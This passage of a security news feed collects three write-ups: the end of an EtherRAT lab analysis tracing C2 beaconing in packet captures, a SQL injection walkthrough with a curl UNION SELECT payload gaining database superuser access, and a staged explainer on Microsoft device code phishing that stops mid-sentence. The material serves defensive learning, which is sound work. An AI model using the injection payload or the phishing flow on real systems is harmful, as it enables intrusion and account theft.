ZNVZWN0ZMSFphSGd0RnBCUGxzREV0VUJUQ2JKUzhmQTdtbXRuZG15RmdNZ1JoR2pkai92Uk9wMVdNdWN3SGI3RWRWaWpKRGRzRGlULzJJYnhZcFlGWUhuNENicWZ4bXhtREE0eU1FZUprazZEMm5OWjJ0ZGFKeHdKQkRSaGJJNHZBQk83bDVFYyt1Y3RZSnFiOFgyemFIY0RDMTkvK1N2WWQ3b1JVNU1weWdXbTFybnVrbytXTS9GU0NsdFZ0a09qWCtZZ0dhMmcxWUxudFVhNlltb1dZTk00MURqeWVMS0UyQVJJT3gvTVFEMno0cXkwazF0UEZRY3YrS29DUDhzLzNOU1p3cE1ERzBCcVR2K1NQMkxPYWJVdXYxWFlKZExKWW83RUNpcmZJekZIbFUxOFptYnVTdlZJV2dScFN3cWhINHZFZndES0M0Mnk5Y2NXSHgyR3k2YzlLd2lwWm9FYVZuQ0NnRGlaektXMkNjSmkwNi9HcUx0U25maW9VNlVhOEkycytvTm14ejcxRUZkRCtEQ2RHVGordzJheXp4Rlhxd1NYcTVSTzRGbVdhQ1Z3a1M1cCtsK05pcCthZWNra1pXeHA2Z2pXNW9DNFNFUmREZWp1d1N2ZlpkL3B1eHUrTTdQRUVwOWRFOVlsRlJVTFZJQkVPaGw3SkVHeGdpUkpOVVBQYzMzRFQ1Z2FuSlljMk5hT0gvWEt1MEZiNGhjYXFucjM5WkFEWHJqK1JEQWZwd2IyTTZkZFZEU3ZvMVpYM2k5blVUeXViQk5SVmp0OEQ4bFFmOVRXdTFRcEtVdVVpbGc5NTdQc1kvMDhvK1JBNjAwRWs0K3Nxb3p1c1RuMVFVN3l0SmFzR2RMR0ZKYk1JSDk0bktJNURyZTg5THpSeUIxVEREckVSaUZnZVRkU0FHZlF0bGVDL29WdzNER0FJSnB4QnRKTkZrK3BidXl3R1VrQ3BxRG4vYkt5cnhQb0Nua1B3NEh2a1dTUWJ2ZkhzR2RZWXhSM3JZTHlkaWNQTWxqaXdvSjg3SkxmdHFqaEtMZHVxeXNFd1RnWVJ1ekVWdi9sL0xvZVJOcUtIZGY5VTZXUUdwWU9KK2djQkg4cGZwSEtvZHVrdjZEOVNwajhtbWx3eEN4aFp0UHVCM3J0M01WUG5WSWY4ZW93c0g5Mys1RDdaTjJlQTk5RE1wZFI4VCt1ZnNrUGtidzNKaDJhZy94WTg4ZEY2ckdoOTF2SGtPb1N5K2hCM1dFTEw5WlNXWEdFSitzWHdRQ2IybnNyZldNZDZUSHFYL2Rkc3VuanI0ZWoyYmpzS0FzaUlCcU1MUmFlUEhsMVB6cVFFMVY4VWg3c1UrRi83UERIQ2I1SnAxcHUwYThyeDRyenlMQStnSGFmWU1EODRoUzZidGV2TmtxeTNQZDQ1MnJDeGJkSjMyc3d6QTB0K1pSb2dEQWk4Tm9ZOTBnUHhremlMVS94aFB4dlpPUXBXcEo2SUVnUHdzalkzSVArcm4zeWNZWmlyUFpmQXdlbG91Qkx3Q3JLN0tCR1RoT3pYeE93VUlwc0FIM1dxc3NBd0tBbWYyNHZWeWdyTU1JTjZvZXQ5WXhqR1VBUkpsRmpZTlhYS0JKa2EzTGJ6b3hJRTg0UEZRNGJvbFl3akpwZjdJNzhOZ0ZLWWdBc2FPUHFaeWtNODNhMUlVZnZiaWhPWHVKaVArcWRNNnJLSUpVQVdrcGNQcUd6aXFETnBkZk1nR3dkUDdEVW1Xc2lrTFhrRThjWU5vRUtKWjFjUnNBaTBadW1DMVJiamZBcmt2a2Z3QnpMT3hocVM5TVBzdFM1WFBZODJYckNMcHRObjZaZWNvUUcyMWxsMGNkUlpDY0FHZ3kxUERneTNiVTZEdVNzdFE5QXBTRk5WNUhmRis2WERHVzlacysza0MzdW9Td2gvSVNnYk1UV3c3bmw3RkVZR2Z4Z3pKNjZITk9RbG5LV09zamsxeUYwL0NPcEZrcjhVdTBwS2M1S0hKSmhsTCtQczg2eWZMR2Qwc3pKK255cVViZTlLUGszM285VWVKaU1FdGFTYXBSWVBFQ2NUUUI5QVhhYjdBK1BSTFNvUmE5Ry9vbHVRWVVKNktIekZDdCtMNzgrUUVWZ29OVWI4QysxZlBMN0VXckhRU2JTc0tzcDNMOERQNFdOUDl5MktzMnl1MWhNQS8rSG9GK0RBd05BYzhJclBnNkJjZEVlNEhRbTRWR0dxaks5SlMyeFZTY2hQTnhxYXRZa3ZxdzNBd3gwZlR3NXordzYrUk9rRTlCZHAxajZKRWpUMi9jYklWZ0ZvT3dSbjBnanlkVXZMTVdwZzdBOXM4dzdnQXQrQkdtT3VqV3c0NUZkNkF6QUY0R05haGtPMll5Ti9BN3JFaWdUQ2dadi91RUhYeU9YM2s1Mmo5ZFBxVE4zK3kySk5PZGsxQXp4THZpMjd1RGRrVHEvOW5sY21IRGIvaTUrTUMwc1ZmU0FNR0NYcFdRODc0WEhZOExaZ3liU0x6STlnSHpwSjBMODJ2NlF5dHhXVldrU05rVy9jS1VwTGdiNTdEeHFnNGRHS2sydmJPRUxCR1k1YlNIU2x6R1RzeGk2Y2owbXFsUDU1cThuMk16NWVSYisxclRtQVNPUzVTVk1PWVJsZ1M2TW9ZdkRVSzY0UVNmWW9SSFFaZm1nMWxIT2dMaDEvaHgwVGlsQ3M3T0drREQ3c0ltVElIdWpGZ2ZsZFh4WW5nRWRoL0F0bXlwbWxjYktnVEZsbWlCL3ZkQ1lmN1JPMEk4eVhXQksyeU81bkRsNUJyVUsyTDRVRzZXZm5jejZZQ1Z4bHhGWU9seUx4cUhyRHJONERtSm94d05WdFY4NjUwMTBkVnppMWVCVUNraHNrLzJPbm9UYU5kbHZKYms0QVlld1luTEtlZnJiQ1dvaXdzeFl0bEpTTWIyamUxMURUNjBSeTkxWDhPNk1ZdW1tSTkxVWlpUmVSYkdtb000b1hZMkxGNXJBSmpWcFd3VXdkSGlBTWlTbUJWTWJ6ckNucE5WN2xYVU1NVzR6bG9oMjNxa1FaM0pIYzh0RElLOU1nQWNtb2VUMyt4SXFBMG5lOXp0cnppMlBkYVdpeEJOVmMrczNMSllmZldkSVhKVDhaVUw0U2NFQ21sdXU0aC9nNFpoWGcwbVZOVTIwR2JobFZkSWZORlkySEMrbnRqejgrcVlLOFl0Ti9rU1ZEK1pLQTgzZnpGamh5TForeVJkVmI3M3ZVQmFZSFFNNWZJSTcxQ3VGbkpFNjI1UWltYVh1ZWZISU9PSXlGcDEzSWdkWlVHb3dSdTdxc1c3OVB0Z3ByTUdVWUl5dE5wMXYzTnNYek14R0tLYTRJZGtnNWdodHkwZ3BsOWhqQnlhMzFDQTJZaGdtNzZtMUt0czdsWEk5NE5Fc2tvc29ZQ0d6TEVvR0N1cm5TZHVTbzVPdkVBMEhuSWFHWk5JM1ZDSEF3WjE1dlZYOFRxVTVSa0djTVVzVEhFaS9qaFcva1R3d2RsWUU3bUgyZXJ6cUxRTXBuRkRBTUZUaEJZbWZ0TitjZDIvNjFQdnhUQkh4L3FrMVNFZUxFUGtTVWhacUYzWEg1SkU4SlRUS3owZkZnMThzcXYyS090Nk1lYytWdjQ4ZExjMDNzWnBBdWJUaXFhOGhncmp3OWN6a1JieTdvblVnUUw4ZXFTdXlNeFpQczlKTkdzR2VyMG5kS0pSTVRKRlJXMnNqVW1RY0IrN040TCtuVGw1MDgwaEs3UW9CRXZtYkdremNIR2IzRktycTR6NG9MdU9raUdmTHhBN0NVTW1hYytWbnlKd3czSkFORGdmMUUwbmlHUkwxaWU0NlNKa21KaGJYS3krTkhLb1BzTU1OVCt3L2RkRWFsdU5wajFXMFdGN25tUWI1VUF0aUdRTFUzZGFSVkFjaWRsZzdXMXZBUmg1TlNKRGZGcHVQNGkwdTU0NjU4Tm5YNHZhT3FOZFBTcjdaR2daUU4zeC9VeDExZ3d2cEY4Mmo0SVFlR0tQQ3FVQVZsc2hFeUNiUFpiSURDYUx1cHFZR0w1dGpvVkVjaDFEN3FPcC9yemwwVHlEMHB0OE1VTGtQZWVsR0J1YnA5dG5hZG1MQVowZ3NLZXFPeTlkc3FoTDRudUhzOXgxZmZQK25mZFpMMTcyN1BGbHdGbFVOdS9leVpBYjdZclo5RGplUndvTzRxckRnWTdvUzFPeDl1dVYyRmF0V3JHZXdVSE8raFpEOTFqeWlMRHJscVdQVytjVWhPZmZINFZsd0ZDdWlMbXFyUXFhOG9PVHIxREphMGhTZFA3akoxZkFkZTdWR0diZ3ZLWHZMQ08xeFFDNjJoaTdsZi9tdTVzTlpycE93bGl5NWYzQk4zeVZSV3MwSlFRNWpzTHlRYlRZWEs0K0pxNUZMVnBOcmg4R29rcU04OUFvdjV6UFY1NVVOazZMUE1ldXp4NXdTcDJDY2hlbncrT0pmRFl3STBGMXl0cDkwcmRyU1dCWHlwcXd4eGsyc2pDVkVPNHVxUWtZZ3ByRmlxdGZLL3czYlVlN3hxQWttaXVZaXVZUFA5YmJlU09tQkRRSUVCQURjTVUwVWVsR0pOTG1DZzRtUUNJZkpmVHBBZEJWWkhFMHQ5bmRhWjJpcDZkKzlrY3hxVXNSckY2UGpHYXdzNC9EUlhObGl3MVV3dFdqa1hhQnk0WS9EcVZ5Z29DZk1UU05Zc29McVZOWjZoQWNEbnBMSGpVbWhPdytxbm5aOCtUZ282aXlQYVJ2MS8xcFdZSVdQVEVra0NLNmtuM1UvZi9qOWhsYlJvYnM5RmY3UEYxb1ZwSTRreTY1V1lrdi90Y0FhRFErUFptUlhxU0J0cVcwUEJaSVltNGg5R0dRbVl1RlVlUndqaHlBK0IzZ2ZkUFhLV3kvNHBjNzd4SWJaMzJUZlBPMUZMZ09PSWlIL2JXYTZoMktDVElzNTFydlpIUjBXT0xWVTBLT2FnSVFBdWpCN1h2dnFDSjcvRmk2VDQwNkM1SUx5ejEwUTdmRitla2ROb3FQbmt4NGwzS1p0TENYV1RqM3dOSDJRNHBhUGpzYlBZQ0RZQlJMK0N4TkFHcmxpdGlQVWNPWHc4MDJEWEprbWE4RTlWMXVLbkw2WWJ1SVhHc2Y1U1JNZ212a0RIQi9scFdybE1pL2d3ZmVaYlVqT2ZLclppZzROMHF5bW9QSHFRWmtDWnUwUG1nMy9ISzd2a1RxMnlWUjQyTE5ybWpJRVNJcDZUSTNqcy95SU56KzhCaFpaaGJ2WTQ4dzdjZU1NRDhVR1RFWmR6WStVcnF2N1pGY0N2SkwwYm9FbVRVVXUrNmU3TmpCdU9wMDBZNnRyOXQzYnRZeHVDTlZQdS9RVGV4NHRISU51WVE4dHhhbit2V0MxRjFkQXhsSHFvS29qWHR4VkErSGcxQjk0R0NWWTAxVTBRa2FNbFYwcVg1aCtqTTFLNGFzQXJpTEhEa0szaFRMSmMxRzgwSkFMOVA1cWdmRjZaQ0NESFZ6NnBpZjNQR2s4cG10WTBBbXI3bC8zOW44RExISFJOSHgrOCtUcHJMTGFTNlNFRys1QnZMRnNoejFPYUFTWkp0RnNWWnVLcVlIRVBhbHlwcVl4Z2xQaFlQR1V5SDA4Vmp6SmdVREQrS3lWeEplTndjSXNCdWRDMUkyYjJtbWdPTzNsVlJtbDh2bVlaM2NZeGNYKzc1L01YanpZZTJob1NkZTNad3A0T3lwdEdxRU5vMkZzc3JyYUJVeG5kV1BMc3FMUGZFY1U3K2E1VWNWNzltTjlENXdydzRIVzJVVHJ6b0FUV2JtUjFSM3R4WVNJVWNnRC81SExrTWEzVWh4aDdBQWhZUlRmV0FoRTdZaVQ5TUVVTTlSN01VUnJ4clJrdWdUZXhOY1FCdXE3VE94S1dWclpMcUdHN29jajFkbWQ3V3cyMkFxaW5sZTdZcGpqb1E0TVhGT2VIWThrbmtJTnAzajlwaXJ3MXBMT2VIN0hlcUJKNmkxRmV2V0VFYUo0bHJlRmFmZ3R3S0R6dnJlYUc1QXBpYk1NMndkYytmWUdrRmNSOWhzaDFJWFhsMjE3NFNtU0JRaXoyQWZtZW82Ly91THVPcFNpS1lFWm1Wc0NwaGlGVHdMeGJWMVlBdXlsVU1xUFYxWkFrajlwcUowK2xXMW9ycUd4eUFZOTlMb3dLaUpleGJ3aGo2WXVHTVFlRGNsdU5SbitrU0RGMWlhRlJQVW9ST0d0Sk1tM3EvZWlMc2lNKzNzQU8vUDhLeVlNVW9YRDFXRDEvY0NPdDI1bFIwcEp4RXpVV05EcVJyMmw0TnYwRXZRVkYrbm4xSlYzUlpuSUNjRmtwd2VsZlhDVWtFR3VneW0rQUR0TnBJSWRaTncrTjFqQ3VERzRUaSs4Vy9kYmU4RytHNVZoaUpLVXhTNGlnSUFlcXk0U3E5UVU4emU1NFA0VlhnUHpvM3htOFJUQkd6enNTcUdMd1dVOFhOdGVPSFVmcEJaZ0VjakxaY2piMFNzRmhtR0JTQ042VjJuenBnS3FSUy9Sb0tiMVZyVXhSNTZYdkc1bGNNL3VrSThFcHBSSk42Y3ZFRTZQbW5vMEdsTzdCL2hKdWxHc1Y2cU9QNFVWYXY4VElTNzFhWTdIQnZJbjkrdllPcjVyb2RTZ0MwcE1PZitvQkdMbXpsTHRuZ1E4aWZwOHVFZHBBZGRQTGd2L0N3Nk5KL0UyQ3FkT0YzVVYvQkpIeWI1a0dtTk5WS2luOHdzWTRjbzJzVzFvcmNSZWRCOENpcE1MYkxNMzlWVXpXK1V4QWJWbmlYNFN1OHJZOTA5NzF3Zy83c2xPL01sUUJlcHUvWkZYRUYzL3VVN2FVM250WG5wMUhyNVJFMGdhc29EWjl0ZjZJMTNDMm1zdWVkUWtpa2ZmT05MWFJwdTRHZHpRTWRqejlxcnE1VVRMZ2pjODYvNlZYQi9GUTR0USttZUNEUTd5NEw4ditQTG9QV1Z4QjdKb3hLY1B5dlk4QlRlUHp5MnJ1clhBamxVUTBpeURaRzVTQmNkT2hYQ3RDbHc1OWpmRFVrRS9PNTRBczFzcGRYa2UzVU5xZWNydlI0ZC81WmcxaXIzSzFFUXlxTkJRbmJKRU51NGx1dHorTjJBM0dlaDhPaEpGckRNeVQ5d09HN21hSDkrQzZWV3FOelBzNTVHdzdUajVtVGlSNURDbDNKTEhDUzA2TkJYdE81eGx6cWJaSlBQZjZLUnJnalJYUEc5NDlWR3FWck5HYldZenRNMlpGVyt4YjM2ZXJ0M1N6N01aWFVjMTRuemdRaEpEK3lYTXFVbUFGOUUvL090QW56cGxXWDRuWWdLTjI1aUY0bW1PWEpjeWMyU1FsVlVqQlYrUWtVNEhXOU9yZmdHeXRTekcyS3ZHMEM3bVpkLzNGK3p5blZ2d3o3djlRbE5EK2pQKzlXWGFnOG56WjJTeGlFSXVoTXVsL1MxWWRFbDNlbTcrY09sTnFiamNYNXJZcFEzZGpDVmw4dEFYbnJZZkxYYzYvQjB1UWlGVUZHRkxuekMyYXF4WVFiSDQzeTFlc2IveVhQM3FwZ3BtLzhsQmYzYXNvQ2Y4OU9aaTZ1b3grL2tMQWNacU91VEpNY0cxc0txMUFRbWgvSGZhSk45UXBDb2lLcXd0aG5pUDlIeG1wdFhuU2d2WFl4YTVIRU1XYmlVVXc9PQ0K&amp;ieol=CRLF"><strong><em>Link</em></strong></a>), we can determine that It generates a fake-looking URL, which is used for Beaconing:</p><pre>https://&lt;C2_DOMAIN&gt;/api/&lt;RANDOM&gt;/&lt;BOT_ID&gt;/&lt;RANDOM&gt;.&lt;EXT&gt;?&lt;PARAM&gt;=&lt;BOT_ID&gt;<br><br><br>https://63.176.62.199:443/api/&lt;RANDOM&gt;/4ebfbc8aedf60511/&lt;RANDOM&gt;.&lt;EXT&gt;?&lt;PARAM&gt;=4ebfbc8aedf60511</pre><p>So, by searching with this query: http.request.method==GET and ip.src==172.31.44.238 and ip.dst==63.176.62.199, we can see this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zchnVE3ywWnlgaYkZc_hfg.png"></figure><p>All commands by the C2 Beaconing server (with some jitter intervals)</p><p>SO, we can determine the command by following the TLS Stream for each packet, (the command will be seen in the GETresponse packet) like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yY1gdzl-NMzhBQR2DgNueg.png"></figure><p>or another way, with searching for the POSTrequests, from the web-server to the C2 server with query: http.request.method==POST and ip.src==172.31.44.238 and ip.dst==63.176.62.199</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eh2_E054JqvFSIOisp6UAA.png"></figure><p>and get the precious commands “<em>whoami</em>” with the timestamp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*acqR2Vl9mFm5SMsTbirT4g.png"></figure><blockquote>2026–02–10 18:40</blockquote><blockquote><strong><em>Q18: </em></strong><em>After establishing access, the attacker closed the door behind them so no one could get in the way they did.<br>What </em><strong><em>Next.js</em></strong><em> version was installed to patch the vulnerability?</em></blockquote><p>investigating all commands by this amazing query:</p><p>http.request.method==POST and ip.src==63.180.69.24 and http.request.uri <br>contains "/login" and http.content_length&gt;339</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MnvPO6KMhyIt7QftYSbe3g.png"></figure><p>we now have all the 8 executed commands, this one is the one we need</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IuLehjV-QTRSsfIV5U5I2g.png"></figure><p>so by investigating each packet (Follow TLS) we can find this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bqBDSeH9JRM7jcQlsrKyEA.png"></figure><blockquote>15.3.9</blockquote><blockquote><strong><em>Q19: </em></strong><em>Based on the observed IOCs and TTPs,<br>which nation-state is most likely behind this activity?</em></blockquote><p>from the CVE number (CVE-2025–55182), we identified that it’s origin from North Korea (<strong>DPRK</strong>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*veWl3yO0BkPGVY53w1pV4w.png"></figure><blockquote>DPRK</blockquote><h4>Thanks For Reading, Hope you enjoyed❤️</h4><h4>Keep in touch with me via: <a href="https://linktr.ee/Prankster99">https://linktr.ee/Prankster99</a></h4><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=e7aecaf51b7a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/callmeonthechain-etherrat-lab-writeup-cyberdefenders-e7aecaf51b7a">CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[From SQL Injection to Infrastructure-Level RCE: A PostgreSQL Superuser Compromise]]></title>
<description><![CDATA[Imagine finding a backdoor that gives you absolute superuser access to a state infrastructure network, documenting the exploit chain perfectly, and submitting it—only to be met with total bureaucratic silence.While auditing a financial management web portal (vsswb), I discovered a single unparame...]]></description>
<link>https://tsecurity.de/de/3677781/hacking/from-sql-injection-to-infrastructure-level-rce-a-postgresql-superuser-compromise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677781/hacking/from-sql-injection-to-infrastructure-level-rce-a-postgresql-superuser-compromise/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:13 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<blockquote><em>Imagine finding a backdoor that gives you absolute superuser access to a state infrastructure network, documenting the exploit chain perfectly, and submitting it—only to be met with total bureaucratic silence.</em></blockquote><p>While auditing a financial management web portal (vsswb), I discovered a single unparameterized parameter that ultimately resulted in <strong>unauthenticated Remote Code Execution (RCE)</strong>. This is the technical walkthrough of the exploit chain.</p><h3>1. The Entry Point</h3><p>The vulnerable endpoint was responsible for processing the pJobNumber parameter.</p><pre>vss00CvStatusData.php</pre><p>Appending a single quote (') immediately triggered a raw PostgreSQL error:</p><pre>pg_query(): Query failed: ERROR: unterminated quoted string at or near "## order by wcs.fdate ;"</pre><h3>Observation</h3><p>User-controlled input was being directly concatenated into a SQL statement without parameterization.</p><h3>2. Fingerprinting the Database</h3><p>Using UNION SELECT with NULL placeholders to align the three-column query structure, I extracted the PostgreSQL version and execution context.</p><pre>curl -k -s "https://[TARGET_URL]/vsswb/vss00CvStatusData.php?pAction=LoadTypeCombo&amp;pJobNumber=nonexistent'+UNION+SELECT+NULL,version(),current_user--&amp;pSelection=1"</pre><p>Response:</p><pre>[<br>  {<br>    "wbid": null,<br>    "job": "PostgreSQL 13.1, compiled by Visual C++ build 1914, 64-bit",<br>    "wodetails": "postgres"<br>  }<br>]</pre><h3>Finding</h3><p>The web application connected directly as the native PostgreSQL <strong>postgres</strong> account.</p><p>This is the database superuser, effectively eliminating privilege boundaries.</p><h3>3. Mass Data Exposure</h3><p>With superuser privileges, PostgreSQL system catalogs became fully accessible.</p><p>Enumeration quickly revealed employee records stored in:</p><pre>public.vss01tpemployee</pre><p>The table contained personally identifiable information (PII), including employee names, PAN numbers, and financial records.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=2e0169207286" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/from-sql-injection-to-infrastructure-level-rce-a-postgresql-superuser-compromise-2e0169207286">From SQL Injection to Infrastructure-Level RCE: A PostgreSQL Superuser Compromise</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without…]]></title>
<description><![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your PasswordThe most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why tra...]]></description>
<link>https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:11 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your Password</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OVpY6KkTRyuVGErNrEOnw.png"></figure><p>The most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why traditional MFA awareness alone is no longer enough.</p><p>Have You Ever Come Across a Website Like This Below Screenshot? No fake Microsoft login pages. No stealing of passwords. No cloned authentication forms. No obvious browser warnings. Yes that’s device code phishing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IWV-Evt-XtPkaXDpCmwEVg.png"><figcaption>At first glance, this page looks completely legitimate.</figcaption></figure><p>It carries Microsoft’s branding, displays a verification code, and instructs users to continue their sign-in using the official Microsoft Device Login page. Unlike traditional phishing websites, there are no fake Microsoft login forms, no requests for your password, and no obvious signs that something is wrong.</p><p>So, it must be safe… right?</p><p>Not necessarily.</p><p>Device Code Phishing has become one of the most effective phishing techniques because it abuses Microsoft’s legitimate authentication workflow instead of attempting to steal usernames and passwords. Since users authenticate directly with Microsoft, many of the traditional warning signs associated with phishing are absent, making these attacks significantly more convincing.</p><p>In this article, the ThreatWatch360 team explains how Device Code Phishing works, why it is dangerous, and how attackers leverage this technique to gain unauthorized access to Microsoft 365 accounts without ever asking victims for their credentials.</p><h3>What is Device Code Authentication?</h3><p>Before understanding Device Code Phishing, it’s important to understand Device Code Authentication.</p><p>Microsoft introduced the Device Code Flow to allow devices with limited input capabilities, such as smart TVs, conference room devices, IoT devices, and command-line applications, to authenticate users.</p><p>Instead of entering credentials directly on the device, Microsoft generates a short verification code.</p><p>The user then visits Microsoft’s official Device Login page, enters the code, signs in with their Microsoft account, and authorizes the request.</p><p>The authenticated session is then linked back to the requesting application.</p><p>This workflow is completely legitimate and is widely used by Microsoft-supported applications.</p><p>Unfortunately, threat actors discovered they could abuse this authentication flow for phishing.</p><h3>How Device Code Phishing Works</h3><p>Unlike traditional phishing attacks, Device Code Phishing does <strong>not</strong> steal passwords.</p><p>Instead, it tricks victims into authorizing an attacker-controlled application using Microsoft’s own authentication infrastructure.</p><p>The result is that the attacker receives a valid Microsoft access token after the victim successfully authenticates.</p><p><strong>Stage 1 — The Phishing Email</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tAn7mYR2AdzzB3hwopRHjw.png"><figcaption>Initial Phishing Email</figcaption></figure><p>The attack usually begins with a convincing phishing email.</p><p>In our demonstration, the victim receives an email claiming that Microsoft detected unusual sign-in activity and encourages them to secure their account immediately.</p><p>The email closely resembles legitimate Microsoft security notifications, making it difficult for many users to distinguish between genuine and malicious messages.</p><p>Instead of directing users to a fake Microsoft login page, the email redirects them to an attacker-controlled website.</p><p>This subtle difference is what makes Device Code Phishing particularly dangerous.</p><p><strong>Stage 2 — The Fake Verification Portal</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AojoCLPiwGgkLGcDH88gRA.png"><figcaption>Device Code Phishing Page</figcaption></figure><p>After clicking the email link, the victim is presented with what appears to be a Microsoft verification portal.</p><p>The page displays:</p><ul><li>A Microsoft verification code</li><li>Instructions explaining how to complete authentication</li><li>A button that automatically opens Microsoft’s legitimate Device Login page</li></ul><p>Everything appears authentic.</p><p>Unlike credential phishing pages, this website never asks the user for their Microsoft username or password.</p><p>Instead, it simply instructs the user to authenticate through Microsoft itself.</p><p>This dramatically increases trust.</p><p><strong>Stage 3 — Redirecting to Microsoft’s Official Login Page</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vxT4KVaMxg7heCzDMx58Bg.png"><figcaption>Official Microsoft Device Login</figcaption></figure><p>Clicking the verification button redirects the victim to Microsoft’s official Device Login page.</p><p>Notice the URL.</p><p>The browser clearly displays Microsoft’s legitimate domain: login.microsoftonline.com</p><p>This is not a fake login page.</p><p>This is Microsoft’s real authentication portal.</p><p>Since users are interacting directly with Microsoft, many security-conscious individuals believe the request is legitimate.</p><p><strong>Stage 4 — Entering the Device Code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wFq44SaoP4Gcy7Y_7QxXHA.png"><figcaption>Microsoft Device Authentication</figcaption></figure><p>The victim enters the code displayed on the phishing website into Microsoft’s official authentication page.</p><p>At this point, everything still appears normal.</p><p>The authentication process is entirely handled by Microsoft.</p><p>No passwords have been stolen.</p><p>No fake login page has been displayed.</p><p>Yet the attacker is already one step closer to gaining access.</p><p><strong>Stage 5 — Microsoft Requests Account Authorization</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-3m7P_UTRW5Zprk35ydVMA.png"><figcaption>Account Selection</figcaption></figure><p>Once the code is accepted, Microsoft asks the victim to select the account they wish to authorize.</p><p>Again, this occurs entirely on Microsoft’s legitimate infrastructure.</p><p>Nothing appears suspicious.</p><p>Most users assume they are completing a routine Microsoft verification process.</p><p><strong>Stage 6 — Granting Access</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ew9Rlt7lKtc3NSjGugG7CQ.png"><figcaption>Authorization Prompt</figcaption></figure><p>Microsoft now asks the user to confirm the authentication request.</p><p>The victim clicks <strong>Continue</strong>, believing they are protecting or verifying their Microsoft account.</p><p>Instead, they are unknowingly authorizing an attacker-controlled application.</p><p><strong>Stage 7 — Authentication Complete</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KyN4hx6sY5t0rM_KDsBFw.png"><figcaption>Successful Authorization</figcaption></figure><p>Microsoft confirms that authentication has completed successfully.</p><p>From the victim’s perspective, everything appears perfectly normal.</p><p>There are no error messages.</p><p>No warnings.</p><p>No indication that their Microsoft session has now been shared with someone else.</p><h4>Stage 8 — The Attacker Receives the Access Token</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QNu8X_BbbhhP4XFhhrqC6Q.png"><figcaption>Attacker Token Captured dashboard</figcaption></figure><p>Behind the scenes, the attacker’s phishing infrastructure immediately receives the Microsoft access token generated during the authentication process.</p><p>Unlike traditional phishing attacks, the attacker never needed the victim’s password.</p><p>Instead, they now possess a valid Microsoft authentication token issued directly by Microsoft.</p><p><strong>Stage 9 — Accessing Microsoft Resources</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hqRMWz0deomvWmiCV1QAag.png"><figcaption>Searching Microsoft Graph Data</figcaption></figure><p>Using the captured token, the attacker can begin interacting with Microsoft Graph APIs according to the permissions granted during authentication.</p><p>Depending on the permissions available, this may allow access to resources such as:</p><ul><li>Outlook email</li><li>OneDrive files</li><li>SharePoint data</li><li>Microsoft Teams information</li><li>Other Microsoft 365 resources</li></ul><p>In our demonstration, the captured token is used to search mailbox content, illustrating how quickly authenticated access can be abused after the victim completes the authorization process.</p><h3>Why Device Code Phishing Is So Effective</h3><p>Traditional phishing relies on fake login pages.</p><p>Device Code Phishing is different.</p><p>The victim authenticates directly with Microsoft.</p><p>Every important step occurs on Microsoft’s legitimate domain.</p><p>This removes many of the indicators users have been trained to recognize.</p><p>There are:</p><ul><li>No fake Microsoft login pages.</li><li>No stealing of passwords.</li><li>No cloned authentication forms.</li><li>No obvious browser warnings.</li></ul><p>Instead, attackers exploit the trust users place in Microsoft’s legitimate authentication process.</p><h3>Why This Matters</h3><p>Modern phishing campaigns are evolving beyond simple credential theft. By abusing legitimate authentication workflows, attackers can obtain valid access tokens without ever knowing a user’s password. This makes Device Code Phishing particularly attractive because it blends legitimate authentication with social engineering. Organizations relying solely on user awareness around fake login pages may find these attacks significantly more difficult to detect.</p><h3>How to Protect Yourself</h3><p>Although Device Code Authentication is a legitimate Microsoft feature, there are several ways users can protect themselves from Device Code Phishing attacks.</p><h4>Never authenticate 